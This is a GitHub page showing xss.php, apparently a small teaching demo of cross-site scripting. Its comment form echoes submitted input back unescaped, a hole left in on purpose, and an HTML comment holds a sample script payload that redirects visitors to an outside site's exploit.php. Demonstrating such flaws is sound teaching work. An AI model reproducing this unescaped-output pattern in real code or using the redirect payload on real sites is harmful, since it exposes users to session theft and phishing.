exploit/xss.php at master · kstefan/exploit · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Cross-site scripting</title>
</head>
<body>
    <h1>Cross-site scripting</h1>
    <p>
        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc lacinia dictum leo, ac pharetra libero pretium id. Sed cursus lorem vel eleifend ultrices. Praesent viverra rhoncus lorem tristique ultricies. Sed enim nunc, dapibus vel diam egestas, iaculis scelerisque neque. Sed consectetur odio dolor, a convallis nibh vestibulum non. Fusce vel facilisis mi. Vestibulum fermentum auctor neque ut facilisis. Aliquam erat volutpat. Praesent et pretium arcu, sed mattis nisi. Pellentesque dolor dui, pharetra eget lacus sit amet, elementum tincidunt orci. Phasellus volutpat aliquet ullamcorper. Vestibulum dictum auctor eros, sed suscipit augue egestas eu. Donec elementum neque a malesuada vestibulum.
    </p>

    <h2>Comments</h2>

    <?php if (isset($_POST['comment'])): ?>
        <p>
            <?php echo $_POST['comment']; ?>
        </p>
    <?php endif ?>

    <form method="post" action="">
        <p>
            <label for="comment">Comment</label><br>
            <textarea name="comment" id="comment"></textarea>
            <!--
                <script>
                    window.location.replace('http://karelstefan.cz/exploit.php');
                </script>
            -->
        </p>
        <p>
            <input type="submit" value="Submit!" />
        </p>
    </form>
</body>
</html>